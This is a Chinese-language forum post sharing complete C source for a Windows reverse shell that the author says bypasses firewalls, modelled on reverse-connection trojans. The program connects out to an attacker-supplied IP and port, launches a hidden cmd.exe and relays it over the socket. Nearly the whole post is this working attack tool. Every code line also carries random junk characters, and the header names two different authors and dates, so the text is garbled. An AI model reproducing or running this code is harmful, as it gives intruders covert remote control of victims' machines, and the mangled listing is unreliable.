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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Vj; vo`T  
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/* ============================== MjaUdfx  
Rebound port in Windows NT {Ts:ZI+ 8d  
By wind,2006/7 e@F|NCQ.9  
===============================*/ 0p fnV%  
#include YYRT.U'  
#include s%;<O:x8o  
v&3O&y/1v  
#pragma comment(lib,"wsock32.lib") THhy~wC".  
P ,K\  
void OutputShell(); <E':[.zC  
SOCKET sClient; oj}"H>tTp  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eSl-9 ^  
#Nte^E4  
void main(int argc,char **argv) v@G4G*x\  
{ | W#~F&{]  
WSADATA stWsaData; 1h"_[`L'  
int nRet; {aN(d3c  
SOCKADDR_IN stSaiClient,stSaiServer; m%QqmTH  
Vos?PqUi 4  
if(argc != 3) W'_/6_c$!  
{ ]Qi,j#X  
printf("Useage:\n\rRebound DestIP DestPort\n"); |Vx~fKS\  
return; {@M14)-x>_  
} !W1eUY  
${U6=  
WSAStartup(MAKEWORD(2,2),&stWsaData); t ,qul4y}  
ui'F'"tPz  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WfGH|u  
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stSaiClient.sin_family = AF_INET; rbk<z\pc  
stSaiClient.sin_port = htons(0); /BH.>R4`A  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w1B<0'#  
@~jxG%y86  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yBz >0I3  
{  ~q%  
printf("Bind Socket Failed!\n"); CKTrZxR"  
return; qmmv7==  
} <<3+g"enno  
\Tq "mw9P  
stSaiServer.sin_family = AF_INET; Xyv8LB  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +0pW/4x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;.Zh,cU  
FU@uH U5fd  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) PI7IBI  
{ k]I*:'178  
printf("Connect Error!"); |}qjqtZ  
return;  a@|.;#FF  
} K[ ?R[  
OutputShell(); ?^3B3qqh9  
} Mn"/#tXL-  
#t5juX9Ho9  
void OutputShell() @;9()ad  
{ umDtp\  
char szBuff[1024]; /{N))  
SECURITY_ATTRIBUTES stSecurityAttributes; `F,zenk=  
OSVERSIONINFO stOsversionInfo; ?;8M^a/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \o9@>&2  
STARTUPINFO stStartupInfo; w67x l  
char *szShell; +)-d_K.(k  
PROCESS_INFORMATION stProcessInformation; P`sN&Y~m  
unsigned long lBytesRead; ;4d.)-<No_  
P $h;SK  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5X;?I/9  
\r]('x3S  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *?Wtj  
stSecurityAttributes.lpSecurityDescriptor = 0; =mJ F_Ri  
stSecurityAttributes.bInheritHandle = TRUE; 7l}~4dm2J  
fjkT5LNx k  
psD[j W  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A*Q[k 9B  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Xr2J:1pgg  
\|!gPc%s  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L; C|ow^c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tG 7+7Z =  
stStartupInfo.wShowWindow = SW_HIDE; G4yUC<TqBP  
stStartupInfo.hStdInput = hReadPipe; --/-D5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "4[<]pq  
A}eOR=E  
GetVersionEx(&stOsversionInfo); f)tc4iV  
wrK#lh2  
switch(stOsversionInfo.dwPlatformId) ork|yj/A  
{ aa=b<Cd  
case 1: jmPp-} tS7  
szShell = "command.com"; NlFo$Y  
break; {Vl"m 2  
default: X0x_+b? _  
szShell = "cmd.exe"; M;@Ex`+?i  
break; sVD([`Nmc  
} _&mc8ftT  
^=#!D[xj>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q/J3cXa{K  
q5gP~*?  
send(sClient,szMsg,77,0); coO.kTO;  
while(1) (6[Wr}SW5  
{ (\q[gyR  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qqD0R*(C  
if(lBytesRead) 2 _Jb9:/X  
{ sBB:$X  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); a?\ `  
send(sClient,szBuff,lBytesRead,0); P59uALi  
} eb7UoZw  
else Ds G !S*  
{ G%`cJdM  
lBytesRead=recv(sClient,szBuff,1024,0); }Y$VB%&Hy  
if(lBytesRead<=0) break; j5A\y^Kv  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x[a'(5PwY  
} 1Y2a* J  
} :9O|l)N)W=  
|>[X<>m  
return; PJ6$);9}6  
}
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